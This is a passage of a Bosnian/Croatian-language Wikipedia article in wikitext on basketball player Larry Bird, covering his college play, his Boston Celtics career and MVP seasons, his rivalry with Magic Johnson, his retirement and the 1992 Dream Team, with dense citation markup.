Indiani|Univerzitetu u Indiani]].<ref>{{cite news|last=Davis |first=Seth |title=When March Went Mad |url=http://sportsillustrated.cnn.com/2009/writers/the_bonus/03/03/march.mad/index.html |access-date=May 17, 2012 |newspaper=Sports Illustrated |date=March 4, 2009 |url-status=bot: unknown |archiveurl=https://web.archive.org/web/20130930045637/http://sportsillustrated.cnn.com/2009/writers/the_bonus/03/03/march.mad/index.html |archivedate=September 30, 2013}}</ref> Nakon manje od mjesec dana života na kampusu, Bird je odustao od fakulteta, ne mogavši se, kao dijete iz malog mjesta, prilagoditi životu u znatno većem [[Bloomington, Indiana|Bloomingtonu]].<ref name=Schwartz1 /> Vratio se u French Lick i upisao na [[Univerzitet Northwood|Institut Northwood]] u obližnjem West Badenu te je radio studentske poslove godinu dana prije nego se [[1975.]] godine upisao na [[Državni univerzitet u Indiani]] u [[Terre Haute, Indiana|Terre Hauteu]].<ref>Bird, Larry (1989), Drive: The Story of My Life. Doubleday, pp. 39–40. {{ISBN|0-385-24921-7}}</ref><ref>{{cite web|url=http://www.bostonmagazine.com/news/blog/2015/06/25/boston-celtics-draft-2015/|title=Throwback Thursday: Celtics Draft Larry Bird Sixth Overall|author=|website=Boston Magazine|access-date=December 31, 2015|archive-date=2016-01-02|archive-url=https://web.archive.org/web/20160102055556/http://www.bostonmagazine.com/news/blog/2015/06/25/boston-celtics-draft-2015/|dead-url=yes}}</ref><ref>{{cite web|url=http://www.celticsblog.com/2015/1/7/7507079/the-story-of-how-rookie-phenom-larry-bird-led-the-nbas-greatest|title=The story of how rookie phenom Larry Bird led the NBA's greatest turnaround season – CelticsBlog|author=Professor Parquet|date=January 7, 2015|website=CelticsBlog|access-date=December 31, 2015}}</ref> Imao je tri vrlo uspješne godine sa [[Indiana State Sycamores|Sycamores]]ima, pomogavši im da [[1979.]] godine, s omjerom 33:0, prvi put u historiji izbore završni turnir [[NCAA]] Divizije I, gdje su igrali protiv [[Michigan State Spartans]]a.<ref name="magicbird">''Magic & Bird: A Courtship of Rivals''. [[HBO]], 2010.</ref><ref name=BirdBio>{{cite web|title=Larry Bird Bio|url=http://www.nba.com/history/players/bird_bio.html|publisher=NBA Encyclopedia|access-date=July 29, 2013}}</ref> Indiana je izgubila utakmicu 75:64, a Bird je postigao 21 poen, s tim da je imao šut 7/21.<ref name=Schwartz1 /> Utakmica je ostala poznata po činjenici da je bila najgledanija sveučilišna košarkaška utakmica u historiji, velikim dijelom zbog rivalstva između Birda i [[Magic Johnson|Earvina Johnsona]],<ref name=Schwartz2 /> tadašnjeg plejmejkera Spartansa, koje će se nastaviti i tokom njihovih profesionalnih karijera. Iako Sycamoresi nisu osvojili naslov, Bird je dobio brojne nagrade i priznanja za svoju igru tokom sezone, uključujući i nagradu za košarkaša godine.<ref name=BirdBio /> Tokom sveučilišne karijere imao je prosječno 30.3 poena, 13.3 skoka i 4.6 asistencija po utakmici,<ref name="Larry Bird">{{cite web |url=https://www.basketball-reference.com/players/b/birdla01.html |title=Larry Bird NBA Stats |website=Basketball-Reference.com |date= |access-date=May 13, 2015 |archive-date=2013-05-12 |archive-url=https://web.archive.org/web/20130512162618/http://www.basketball-reference.com/players/b/birdla01.html |dead-url=yes }}</ref> a Sycamoresi su tokom njegove karijere imali omjer 81:13.<ref name=BirdBio /> Bird je također odigrao i jednu utakmicu za sveučilišnu [[bejzbol]] momčad.<ref>{{cite web |url=http://www.indystar.com/story/sports/nba/pacers/2015/05/04/larry-birds-college-baseball-career-included-lofty-batting-average/26884387/ |title=Larry Bird's baseball career: A lofty .500 batting average |author=Dana Hunsinger |date=May 4, 2015 |publisher=Indianapolis Star |website=Indystar.com |access-date=December 8, 2016}}</ref> Diplomirao je [[kineziologija|kineziologiju]] [[1979.]] godine.<ref>{{cite book |last=May |first=Peter |date=1994 |title=The Big Three |url=https://books.google.com/books?id=6owRYSf9llMC&pg=PA41 |location=New York, NY |publisher=Simon & Schuster |page=41 |isbn=978-1-4165-5207-9}}</ref> == Profesionalna karijera == === Dolazak u Boston (1978–1979) === Bird je izabran kao 6. ukupni ''pick'' na [[NBA draft 1978.|draftu 1978.]] godine od strane [[Boston Celtics]]a.<ref name="Larry Bird" /> Međutim, nije odmah potpisao za Celticse, već je odlučio odigrati svoju posljednju sveučilišnu sezonu za Sycamorese, koje je uspio odvesti do [[NCAA]] finala. [[Red Auerbach]] je javno objavio kako nema namjeru platiti Birda više od ostalih igrača, na što mu je Birdov agent rekao da će njegov klijent bez razmišljanja odbiti bilo kakve ispodtržišne ponude te će jednostavno izaći na [[NBA draft 1979.|draft 1979.]] godine, gdje bi prava Celticsa na potpis odmah bila anulirana, a Bird bi zbog svoje kvalitete vjerojatno bio prvi izbor. Nakon iscrpljujućih pregovora, Bird je potpisao petogodišnji ugovor vrijedan $3,250,000, čime je postao najplaćeniji novak u historiji NBA lige u to doba.<ref name="Larry Bird: Biography" /><ref name=big-three-57>{{cite book |last=May |first=Peter |title=The Big Three |url=https://books.google.com/books?id=6owRYSf9llMC&pg=PA57#v=onepage&q=&f=false |access-date=March 21, 2013 |year=2007 |origyear=1994 |publisher=Simon and Schuster |location=New York |isbn=978-1-4165-5207-9 |page=57 |oclc=86221987}}</ref> Nedugo nakon ovoga, pravila drafta su promijenjena kako bi spriječila momčadi da izabiru igrače koji još nisu bili spremni za profesionalni ugovor, što je pravilo koje je i danas poznato kao Birdovo sveučilišno pravilo ([[engleski|engl.]] ''Bird Collegiate Rule'').<ref name=big-three-57 /> === Rani uspjesi i uspon (1979–1983) === [[File:Houston Rockets at Boston Celtics 1979-10-12 (Official Scorer's Report) (Larry Bird crop).jpg|thumb|450px|Bird je imao 14 poena, 10 skokova i 5 asistencija u svom NBA debiju protiv [[Houston Rockets]]a [[12. listopada]] [[1979.]] godine.]] Bird je u svojoj debitantskoj sezoni u NBA ligi odmah pretvorio Celticse u kandidate za naslov. Celticsi su imali 32 pobjede više u odnosu na prethodnu sezonu te su odmah završili na prvom mjestu Istoka.<ref>{{cite web|title=1978–79 NBA Season Summary|url=https://www.basketball-reference.com/leagues/NBA_1979.html|publisher=Basketball Reference|access-date=March 2, 2014|archive-date=2013-10-14|archive-url=https://web.archive.org/web/20131014055415/http://www.basketball-reference.com/leagues/NBA_1979.html|dead-url=yes}}</ref><ref name=BR80>{{cite web|title=1979–80 NBA Season Summary|url=https://www.basketball-reference.com/leagues/NBA_1980.html|publisher=Basketball Reference|access-date=March 2, 2014|archive-date=2011-08-04|archive-url=https://web.archive.org/web/20110804024957/http://www.basketball-reference.com/leagues/NBA_1980.html|dead-url=yes}}</ref> U svojoj debitantskoj utakmici, imao je 14 poena, 10 skokova i 5 asistencija u pobjedi 114:106 nad [[Houston Rockets]]ima.<ref>{{cite web|url=https://www.basketball-reference.com/boxscores/197910120BOS.html|title=Houston Rockets at Boston Celtics Box Score, October 12, 1979|publisher=Basketball-Reference|accessdate=November 22, 2019}}</ref> Svoj prvi triple-double ostvario je [[14. studenog]] [[1979.]] godine, postigavši 23 poena, 19 skokova i 10 asistencija u pobjedi 115:111 nad [[Detroit Pistons]]ima.<ref>{{cite web|url=https://www.basketball-reference.com/boxscores/197911140BOS.html|title=Detroit Pistons at Boston Celtics Box Score, November 14, 1979|publisher=Basketball-Reference|accessdate=November 12, 2019}}</ref> Već je [[23. studenog]] zabilježio prvu utakmicu s minimalno 30 poena, postigavši 30 poena uz 11 skokova i 3 asistencije u pobjedi 118:103 nad [[Indiana Pacers]]ima.<ref>{{cite web|url=https://www.basketball-reference.com/boxscores/197911230BOS.html|title=Indiana Pacers at Boston Celtics Box Score, November 23, 1979|publisher=Basketball-Reference|accessdate=November 22, 2019}}</ref> Zahvaljujući prosjeku od 21.3 poena, 10.4 skoka, 4.5 asistencija i 1.7 ukradenih lopti po utakmici, Larry Bird je u svojoj debitantskoj sezoni izabran u [[NBA All-Star]] momčad te je proglašen [[Nagrada za novaka godine NBA lige|novakom godine]].<ref name="Larry Bird" /> Celticsi su uspjeli izboriti konferencijsko finale u doigravanju, ali su izgubili od [[Philadelphia 76ers]]a.<ref name=BR80 /> Prije početka [[NBA sezona 1980./1981.|sezone 1980./1981.]], Celticsi su na draftu izabrali [[Kevin McHale (košarkaš)|Kevina McHalea]] te su iz [[Golden State Warriors]]a doveli [[Robert Parish|Roberta Parisha]],<ref>{{cite web|title=Kevin McHale NBA & ABA Stats|url=https://www.basketball-reference.com/players/m/mchalke01.html|website=Basketball Reference|access-date=March 2, 2014|archive-date=2011-08-05|archive-url=https://web.archive.org/web/20110805065633/http://www.basketball-reference.com/players/m/mchalke01.html|dead-url=yes}}</ref><ref>{{cite web|title=Robert Parish NBA & ABA Stats|url=https://www.basketball-reference.com/players/p/parisro01.html|website=Basketball Reference|access-date=March 2, 2014|archive-date=2011-02-24|archive-url=https://web.archive.org/web/20110224181056/http://www.basketball-reference.com/players/p/parisro01.html|dead-url=yes}}</ref> čime je formiran trio budućih članova Kuće slavnih i jedan od najboljih ofenzivnih tandema u historiji lige; mnogi komentatori smatraju kako je tandem Bird-McHale-Parish najbolji napadački tandem u historiji lige.<ref>{{cite web|url=http://www.foxsports.com/nba/story/5-best-players-in-boston-celtics-history-101316|title=5 best players in Boston Celtics history|date=October 13, 2016|website=FOX Sports|accessdate=March 29, 2019}}</ref><ref>{{cite web|url=http://www.nba.com/history/legends/profiles/kevin-mchale|title=Legends profile: Kevin McHale|website=NBA.com|accessdate=March 29, 2019}}</ref><ref>{{cite web|url=https://www.mercurynews.com/2017/06/13/expert-panel-warriors-not-greatest-team-of-all-time/|title=NBA expert panel: Warriors not the greatest of all time, or even No. 2|date=June 13, 2017|website=Mercury News|accessdate=March 29, 2019}}</ref> Predvođeni Birdom i s ojačanim sastavom, Celticsi su ponovo jurišali na naslov prvaka. Dogurali su do novog konferencijskog finala, odnosno revanša protiv 76ersa.<ref name=BR81>{{cite web|title=1980–81 NBA Season Summary|url=https://www.basketball-reference.com/leagues/NBA_1981.html|website=Basketball Reference|access-date=March 2, 2014|archive-date=2011-08-07|archive-url=https://web.archive.org/web/20110807021052/http://www.basketball-reference.com/leagues/NBA_1981.html|dead-url=yes}}</ref> Celticsi su gubili 3:1 u seriji, ali su pobijedili tri utakmice u nizu i izborili finale protiv Rocketsa,<ref>{{cite web|title=1981 NBA Eastern Conference Finals|url=https://www.basketball-reference.com/playoffs/NBA_1981_ECF.html#BOS-PHI|website=Basketball Reference|access-date=March 2, 2014}}</ref> koje su pobijedili u šest utakmica i tako donijeli Birdu prvi naslov prvaka.<ref name=BR81 /> Bird je imao prosjek od 21.9 poena, 14 skokova, 6.1 asistencije i 2.3 ukradene lopte po utakmici u postsezoni te 15.3 poena, 15.3 skoka i 7 asistencija u finalnoj seriji, ali nije dobio nagradu za MVP-a finala, koja je otišla njegovom momčadskom kolegi, [[Cedric Maxwell|Cedricu Maxwellu]].<ref name="Larry Bird" /><ref>{{cite web|title=1981 NBA Finals|url=https://www.basketball-reference.com/playoffs/NBA_1981_finals.html#BOS-HOU|website=Basketball Reference|access-date=March 2, 2014}}</ref> Bird je postigao 19 poena u [[NBA All-Star utakmica 1982.|All-Star utakmici 1982.]] godine na putu do nagrade za MVP-a All-Star susreta.<ref name="NBA Bird">{{cite web|title=NBA.com: Larry Bird Bio|url=http://www.nba.com/history/players/bird_bio.html|website=NBA|access-date=March 8, 2014}}</ref> Po završetku sezone, prvi put je uvršten u All-NBA obrambenu momčad sezone.<ref name="Larry Bird" /> U konačnici je završio na drugom mjestu u izboru za [[Nagrada za najkorisnijeg igrača NBA lige|MVP-a lige]], iza [[Moses Malone|Mosesa Malonea]].<ref name="NBA Bird" /> Celticsi su po treći put za redom igrali konferencijsko finale protiv 76ersa, ali su ovoga puta izgubili u sedam utakmica.<ref>{{cite web|title=1982 NBA Playoffs Summary|url=https://www.basketball-reference.com/playoffs/NBA_1982.html|website=Basketball Reference|access-date=March 8, 2014|archive-date=2022-07-11|archive-url=https://web.archive.org/web/20220711135344/https://www.basketball-reference.com/playoffs/NBA_1982.html|dead-url=yes}}</ref> Nedostatak sreće nastavio se i naredne sezone, kada je Bird ponovo izgubio MVP naslov od Malonea, a Celticsi su izgubili od [[Milwaukee Bucks]]a u konferencijskom polufinalu.<ref name="NBA Bird" /><ref>{{cite web|title=1983 NBA Playoffs Summary|url=https://www.basketball-reference.com/playoffs/NBA_1983.html|website=Basketball Reference|access-date=March 8, 2014|archive-date=2020-06-04|archive-url=https://web.archive.org/web/20200604201835/https://www.basketball-reference.com/playoffs/NBA_1983.html|dead-url=yes}}</ref> === Rivalstvo s Magicom Johnsonom i MVP period (1983–1987) === [[File:Larry Bird layup.jpg|thumb|right|200px|Bird u dresu Celticsa tokom utakmice protiv [[Washington Bullets]]a.]] Bird je [[1984.]] godine konačno imenovan [[Nagrada za najkorisnijeg igrača NBA lige|MVP-om lige]], u sezoni u kojoj je imao prosjek od 24.2 poena, 10.1 skok, 6.6 asistencija i 1.8 ukradenih lopti po utakmici.<ref name="Larry Bird" /> U doigravanju, Celticsi su se osvetili Bucksima za prošlogodišnji poraz tako što su ih u finalu Istoka svladali u pet utakmica i tako osigurali finalni ogled protiv [[Los Angeles Lakers]]a.<ref name=84P>{{cite web|title=1984 NBA Playoffs Summary|url=https://www.basketball-reference.com/playoffs/NBA_1984.html|publisher=Basketball Reference|access-date=March 20, 2014}}</ref> U četvrtoj utakmici serije, Lakersi su — predvođeni Birdovim sveučilišnim rivalom, [[Magic Johnson|Magicom Johnsonom]] — bili na rubu pobjede koja bi im osigurala važno vodstvo od 3:1 u seriji, međutim nakon grubog prekršaja na [[Kurt Rambis|Kurtu Rambisu]] došlo je do nagurivanja igrača, nakon kojega je Lakersima pala koncentracija.<ref>{{cite book|last=MacMullan|first=Jackie|title=When the Game Was Ours|date=2009|publisher=Mariner|isbn=978-0-547-39458-9|page=136}}</ref> Boston se vratio i pobijedio u utakmici te je u konačnici postao prvak nakon pobjede u sedam utakmica.<ref name=84P /> Bird je imenovan [[Nagrada za najkorisnijeg igrača NBA finala|MVP-om finalne serije]] s prosjekom od 27.4 poena, 14 skokova i 3.6 asistencija po utakmici.<ref name=84P /> Dana [[9. prosinca]] [[1984.]] godine, Bird je postigao rekordnih 48 poena, uz 14 skokova i 5 asistencija, u pobjedi 128:127 protiv [[Atlanta Hawks]]a.<ref>{{cite web|url=https://www.basketball-reference.com/boxscores/198412090BOS.html|title=Atlanta Hawks at Boston Celtics Box Score, December 9, 1984|website=Basketball Reference|accessdate=November 22, 2019}}</ref> Nekoliko mjeseci kasnije, [[12. ožujka]] [[1985.]], Bird je, ponovo protiv Hawksa, postavio osobni i klupski rekord s postignutih 60 poena u utakmici.<ref>{{cite web|last=Schwartz|first=Larry|title=Eye for victory|url=https://espn.go.com/sportscentury/features/00014103.html|website=ESPN|access-date=March 29, 2014}}</ref> Ovaj je rekord stigao samo devet dana nakon što je [[Kevin McHale (košarkaš)|Kevin McHale]] bio postavio klupski rekord s 56 poena na utakmici.<ref>{{cite book|last=MacMullan|first=Jackie|title=When the Game Was Ours|date=2009|publisher=Mariner|isbn=978-0-547-39458-9|page=15}}</ref> Po završetku sezone, Bird je po drugi put za redom postao MVP s prosjekom od 28.7 poena, 10.5 skokova i 6.6 asistencija po utakmici.<ref name="Larry Bird" /> Celticsi su u doigravanju ponovo došli do finala i novog okršaja s Lakersima, ali su ovoga puta izgubili u šest utakmica.<ref>{{cite web |url=https://www.basketball-reference.com/playoffs/NBA_1985_finals.html|title=1985 NBA Finals Composite Box Score|website=Basketballreference.com|access-date=December 31, 2015}}</ref> Tokom ljeta [[1985.]] godine, Bird je ozlijedio leđa dok je lopatom uređivao šljunak kako bi napravio prilazni put ispred kuće svoje majke. Barem djelomično zbog ove ozljede, Bird je imao probleme s leđima do kraja svoje profesionalne karijere.<ref>{{cite web |url=http://buzzreaper.com/2015/12/25/10-fascinating-facts-about-larry-bird/ |title=10 fascinating facts about Larry Bird |accessdate=April 15, 2016 |url-status=dead |archiveurl=https://web.archive.org/web/20160507070258/http://buzzreaper.com/2015/12/25/10-fascinating-facts-about-larry-bird/ |archivedate=May 7, 2016 }}</ref> [[File:Robert Parish, Larry Bird, Mayor Raymond L. Flynn (9516906723).jpg|thumb|left|280px|[[Robert Parish]] (lijevo), Larry Bird (sredina) i gradonačelnik [[Boston]]a, [[Raymond L. Flynn]], u Uredu gradonačelnika na slavlju povodom naslova prvaka Celticsa iz [[1984.]] godine.]] Pred početak [[NBA sezona 1985./1986.|sezone 1985./1986.]], Celticsi su napravili odvažan potez i potpisali All-Star centra [[Bill Walton|Billa Waltona]], koji je bio sklon ozljedama.<ref name=86C>{{cite web|title=1985–86 Boston Celtics|url=http://www.nba.com/playoffs2004/challenge_celtics1986.html|publisher=NBA.com|access-date=March 30, 2014|archive-url=https://web.archive.org/web/20140414075156/http://www.nba.com/playoffs2004/challenge_celtics1986.html|archive-date=April 14, 2014|url-status=dead}}</ref> To se pokazao kao odličan potez, s obzirom da je Walton pomogao Celticsima da osvoje sezonu s rekordnih 67 pobjeda.<ref>{{cite web|title=1985–86 NBA Season Summary|url=https://www.basketball-reference.com/leagues/NBA_1986.html|publisher=Basketball Reference|access-date=March 30, 2014|archive-date=2012-05-01|archive-url=https://web.archive.org/web/20120501203633/http://www.basketball-reference.com/leagues/NBA_1986.html|dead-url=yes}}</ref> Jedna od najpoznatijih anegdota iz karijere Larryja Birda dogodila se upravo ove sezone, tokom [[NBA All-Star vikend 1986.|All-Star vikenda 1986.]] godine, kada je prije prvog ikad [[natjecanje u tricama|natjecanja u tricama]] ušao u svlačionicu i okupljene igrače pitao tko će završiti na drugom mjestu prije nego je uvjerljivo osvojio natjecanje.<ref>{{cite web|url=http://sports.espn.go.com/dallas/nba/columns/story?id=4888727|title=With Bird in, good things came with 3s|access-date=June 15, 2014|date=February 5, 2010|publisher=[[ESPN]]|last=Caplan |first=Jeff}}</ref><ref>{{cite web|url=http://nesn.com/2011/08/relive-the-moment-larry-bird-wins-inaugural-three-point-contest/|title=Relive the Moment: Larry Bird Easily Wins Inaugural 3-Point Contest After Asking Field Who Would Finish Second|access-date=June 15, 2014|date=August 17, 2011|publisher=[[New England Sports Network]]|archive-date=2014-07-26|archive-url=https://web.archive.org/web/20140726181929/http://nesn.com/2011/08/relive-the-moment-larry-bird-wins-inaugural-three-point-contest/|url-status=dead}}</ref><!-- Note that one source claims that he won the first two and then laid down the challenge before winning the third one http://www.nba.com/allstar2006/moments_bird88.html User:TonyTheTiger --> Bird je [[27. studenog]] [[1985.]] upisao 47 poena, 12 skokova, 2 asistencije i 2 ukradene lopte u pobjedi 132:124 nad [[Detroit Pistons]]ima.<ref>{{cite web|url=https://www.basketball-reference.com/boxscores/198511270BOS.html|title=Detroit Pistons at Boston Celtics Box Score, November 27, 1985|publisher=Basketball-Reference|accessdate=November 22, 2019}}</ref> Dana [[10. ožujka]] [[1986.]] godine postigao je 50 poena, uz 11 skokova i 5 asistencija, u porazu 115:116 od [[Dallas Mavericks]]a.<ref>{{cite web|url=https://www.basketball-reference.com/boxscores/198603100DAL.html|title=Boston Celtics at Dallas Mavericks Box Score, March 10, 1986|publisher=Basketball-Reference|accessdate=November 22, 2019}}</ref> S prosjekom od 25.8 poena, 9.8 skokova, 6.8 asistenicija i 2 ukradene lopte po utakmici, Larry Bird je [[1986.]] godine postao tek treći igrač u historiji NBA lige koji je tri puta za redom imenovam za MVP-a lige.<ref>{{cite web|title=Larry Legend – Bird wins third straight MVP|url=http://espn.go.com/classic/s/moment010528bird-mvp.html|publisher=ESPN Classic|access-date=March 30, 2014}}</ref> U doigravanju, Celticsi su ostvarili impresivni niz sa samo jednim porazom prije finalne serije s [[Houston Rockets]]ima.<ref name=86C /> Bird je u šestoj utakmici serije zabilježio triple-double s 29 poena, 11 skokova i 12 asistencija i pomogao Celticsima da osvoje seriju s rezultatom 4:2.<ref>{{cite web|url=https://www.basketball-reference.com/boxscores/198606080BOS.html|title=Houston Rockets at Boston Celtics Box Score, June 8, 1986|website=Basketball Reference|accessdate=November 22, 2019}}</ref> Birdov prosjek u seriji bio je 24 poena, 9.7 skokova i 9.5 asistencija po utakmici.<ref>{{cite web |url=https://www.basketball-reference.com/playoffs/NBA_1986_finals.html |title=1986 NBA Finals Composite Box Score |website=Basketball Reference |access-date=December 31, 2015}}</ref> Momčad Celticsa iz [[1986.]] godine redovito se uvršava na liste najboljih košarkaških momčadi svih vremena, a na prvo mjesto su ih stavili Peter May iz ''[[Boston Globe]]a'' te [[Bill Simmons]] s bloga ''[[Grantland]]''.<ref>{{cite web|last=Poulard|first=JM|title=The 1985–86 Boston Celtics|url=https://www.warriorsworld.net/2011/08/25/1985-86-boston-celtics/|date=2011-08-25|website=Warriors World|access-date=April 13, 2014|url-status=dead|archiveurl=https://web.archive.org/web/20140414052549/https://www.warriorsworld.net/2011/08/25/1985-86-boston-celtics/|archivedate=April 14, 2014}}</ref> Tokom [[1987.]] godine, Celticsi su odigrali svoje posljednje NBA finale tokom Birdove igračke karijere i to nakon teško izborenih pobjeda protiv [[Milwaukee Bucks]]a i [[Detroit Pistons]]a. U petoj utakmici konferencijskog finala protiv Pistonsa, Celticsi su pet sekundi pred kraj utakmice gubili 107:106, ali Bird je uspio ukrasti loptu i, padajući van terena, pravovremeno ju poslati do [[Dennis Johnson|Dennisa Johnsona]], koji je sekundu prije kraja pogodio polaganje za pobjedu Celticsa 108:107. Ovaj dramatični potez spasio je seriju Celticsa te su uspjeli izboriti finalnu seriju. Osakaćeni ozljedama, Celticsi su u finalu naletjeli na dominantne Lakerse, koji su zaključili regularnu sezonu sa 65 pobjeda, i izgubili u šest utakmica, rezultatom 4:2. Bird je u finalnoj seriji imao prosjek od 24.2 poena na postotku šuta od samo .445, 10 skokova i 5.5 asistencija po utakmici.<ref>{{cite web |url=https://www.basketball-reference.com/playoffs/NBA_1987_finals.html |title=1987 NBA Finals Composite Box Score|website=Basketball Reference|access-date=December 31, 2015}}</ref> Celticsi su [[1988.]] godine izgubili u konferencijskom finalu od Pistonsa u šest utakmica, čime su se Pistonsi iskupili za dramatično ispadanje sezonu ranije. Osamdesete godine u NBA ligi bile su godine Larryja Birda i Magica Johnsona. Njih su dvojica, zajedno, osvojili osam naslova prvaka — Johnson pet, Bird tri — a njihove su momčadi nastupile, barem jedna, u svakom NBA finalu odigranom tokom osamdesetih godina.<ref>{{Cite news|url=http://www.nba.com/history/season-recap-index|title=NBA Season Recaps: 1946-2018 |work=NBA|access-date=November 24, 2018|language=en}}</ref> Utakmice između Celticsa i Lakersa — bilo da se radilo o regularnoj sezoni, bilo da se radilo o doigravanju — imale su enormnu gledanost tokom 80-ih godina. Prvi međusobni okršaj regularnog dijela [[NBA sezona 1987./1988.|sezone 1987./1988.]] postao je klasik u kojem je [[Magic Johnson]] uspio pogoditi težak šut blizu linije za tri poena sa zvukom sirene i tako osigurao pobjedu Lakersa 115:114 u [[Boston]]u.<ref>{{cite web|url=https://www.basketball-reference.com/fc/pgl.cgi?player=birdla01&year=1988|title=Celtics-Lakers Box Score|website=Basketball Reference}}{{Dead link|date=October 2022 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> Historijsko rivalstvo ovih dviju momčadi, koje se protezalo još od 60-ih godina, privuklo je pažnju navijača i gledatelja, a profesionalna košarka nije imala ovakvo rivalstvo još od [[Bill Russell|Billa Russella]] i [[Wilt Chamberlain|Wilta Chamberlaina]]. Bird, koji je percipiran kao intvorertirani heroj iz malog grada s izraženom radnom etikom, savršeno je odgovarao stilu Celticsa, dok je ektrovertirani Johnson odgovarao brzom i atraktivnom stilu igre Lakersa. Ova dihotomija iskorištena je i u marketinške svrhe u slavnoj reklami za novu liniju [[Converse]]ovih tenisica ("Weapon"), gdje vidimo kako Bird vježba košarku na usamljenom terenu u ruralnom dijelu Amerike (u stvarnosti je to bio teren što ga je Bird dao izgraditi na imanju u [[French Lick, Indiana|French Licku]], koje je kupio svojoj majci), a ubrzo dolazi Johnson u limuzini i hvali se svojom varijantom tenisica, koja je bila drugačije obojena od Birdovih. Unatoč intenzivnom rivalstvu, Bird i Johnson su van terena postali veliki prijatelji. Prijateljstvo se razvilo upravo na snimanju reklame za Converse, koja je dvojicu igrača prikazivala kao najveće neprijatelje. Johnson će se kasnije pojaviti na ceremoniji povodom Birdovog umirovljenja [[1993.]] godine i održati emotivni govor. === Kasnija karijera (1988–1992) === [[NBA sezona 1987./1988.|Sezona 1987./1988.]] bila je najefikasnija u Birdovoj karijeri, uz postotak realizacije od .527. U sedmoj utakmici konferencijskog polufinala [[1988.]] godine protiv [[Atlanta Hawks]]a, Bird je imao šut 9/10 u posljednjoj četvrtini, kada je postigao 20 poena i tako vodio Celticse do odlučujuće pobjede protiv Hawksa. Birdova 34 poena u toj utakmici bila su dovoljna da anuliraju izvanrednih 47 poena Atlantinog [[Dominique Wilkins|Dominiquea Wilkinsa]],<ref>{{cite web|url=https://www.nbcsports.com/boston/celtics/happy-31st-birthday-larry-bird-vs-dominique-wilkins-game-7-duel|title=Happy 31st birthday, Larry Bird vs. Dominique Wilkins Game 7 duel|website=NBC Sports|accessdate=March 16, 2020}}</ref> koji je izjavio: "Koš je bio kao bunar. Ja nisam mogao promašiti. On nije mogao promašiti. I sve se svelo na posljednji šut u utakmici. Tko će imati posljednji šut? To je bila najbolja utakmica koju sam ikada igrao ili koju sam gledao da se igra". Međutim, Celticsi nisu uspjeli, prvi put u pet godina, doći do [[NBA finale|finala]] nakon što su izgubili od Pistonsa u šest utakmica. Naredna sezona završila je za Birda nakon samo šest utakmica, nakon što su mu kirurški odstranjeni koštani izrasci u obje pete. U momčad se vratio [[1989.]] godine, ali opetovani problemi s leđima, kao i ostarjela momčad Celticsa onemogućili su njegov povratak na formu iz sredine 80-ih godina. Međutim, Bird je unatoč tomu i u poznim godinama svoje karijere zadržao status jednog od najboljih igrača generacije. U posljednje tri sezone, Bird je imao prosjek od preko 20 poena (uz postotak od preko 45%), 9 skokova i 7 asistencija po utakmici te je vodio Celticse do doigravanja. Nakon što je vodio Celticse do omjera 29:5 na početku [[NBA sezona 1990./1991.|sezone 1990./1991.]], Bird je propustio 22 utakmice zbog problema sa živcem u leđima, što je ozljeda koja će ga u konačnici prisiliti na umirovljenje. Van sezone je imao operaciju kojom mu je izvađen disk iz leđa, ali problemi su se nastavili tako da je propustio čak 37 utakmica naredne sezone. Bird je propustio čak četiri od sedam utakmica protiv [[Cleveland Cavaliers]]a u polufinalu Istoka [[1992.]] godine zbog problema s leđima. Larry Bird je ljeto [[1992.]] godine proveo kao dio slavnog "Dream Teama", a onda je [[18. kolovoza]] [[1992.]] godine najavio svoje umirovljenje. Celticsi su promptno umirovili njegov dres s brojem 33, a u veljači [[1993.]] godine i organizirali veliku ceremoniju povodom umirovljenja na kojoj je, među ostalima, govorio i Birdov veliki rival i prijatelj, [[Magic Johnson]].<ref>{{cite web|url=https://www.latimes.com/archives/la-xpm-1993-02-05-sp-1105-story.html|title=Bird’s Garden Party : Celtics Make It a Magical Night for Larry Legend|website=Los Angeles Times|accessdate=March 16, 2020}}</ref> == Reprezentativna karijera == Bird je još kao student prvi put igrao za [[Košarkaška reprezentacija Sjedinjenih Američkih Država|nacionalnu selekciju Sjedinjenih Država]], s kojom je nastupio na [[Univerzijada 1977.|Univerzijadi 1977.]] u [[Sofija|Sofiji]]. Momčad izbornika [[Denny Crum|Dennyja Cruma]] predvodio je upravo Bird, a uz njega je u momčadi bio i budući All-Star [[Sidney Moncrief]]. Sjedinjene Države su došle do finala, gdje su pobjedile [[Košarkaška reprezentacija Sovjetskog Saveza|Sovjetski Savez]] i tako osvojile zlatnu medalju. Po završetku sezone [[1992.]], Larry Bird se pridružio [[Michael Jordan|Michaelu Jordanu]], [[Magic Johnson|Magicu Johnsonu]] i drugim superzvijezdama kako bi igrao za [[Košarkaška reprezentacija Sjedinjenih Američkih Država|reprezentaciju Sjedinjenih Država]] na [[Olimpijada 1992|Olimpijskim igrama 1992.]] u [[Barcelona|Barceloni]].<ref>{{cite news|url=http://sportsillustrated.cnn.com/2011/writers/best_team_i_ever_covered/07/10/mccallum.dream.team/index.html |title=Dream Team a star-studded sight to behold for gazers on, off court |work=Sports Illustrated |date=July 20, 2011 |access-date=June 28, 2013 |url-status=bot: unknown |archiveurl=https://web.archive.org/web/20140427135245/http://sportsillustrated.cnn.com/2011/writers/best_team_i_ever_covered/07/10/mccallum.dream.team/index.html |archivedate=April 27, 2014}}</ref> Reprezentacija se prije Olimpijade okupila kako bi u lipnju nastupila na [[Turnir Amerika 1992.|Turniru Amerika 1992.]] godine, gdje je uvjerljivo pomela sve protivnike i osvojila zlato. Kada je kasnije nazvani "[[Muška olimpijska košarkaška reprezentacija Sjedinjenih Država iz 1992.|Dream Team]]" došao u [[Španjolska|Španjolsku]], bio je to prvi put u historiji da su Sjedinjene Države poslale profesionalne igrače na olimpijski turnir. Momčad je, dakako, bila apsolutna senzacija i uvjerljivo je osvojila zlatnu medalju, pobjeđujući s prosječnom razlikom od 43.75 poena. Sama momčad dobila je niz odlikovanja, a [[Košarkaška kuća slavnih Naismith Memorial|Kuća slavnih Naismith Memorial]] nazvala ju je "najvećim skupom košarkaškog talenta na planeti".<ref>{{Cite web|url=http://www.hoophall.com/hall-of-famers/tag/1992-united-states-olympic-team|title=The Naismith Memorial Basketball Hall of Fame - Hall of Famers|date=August 18, 2010|access-date=December 2, 2018|archive-date=2010-08-18|archive-url=https://web.archive.org/web/20100818075707/http://www.hoophall.com/hall-of-famers/tag/1992-united-states-olympic-team|dead-url=yes}}</ref> == Igrački profil i ostavština == Larry Bird je [[1996.]] godine uvršten među [[50 najvećih igrača u historiji NBA lige]],<ref>{{cite 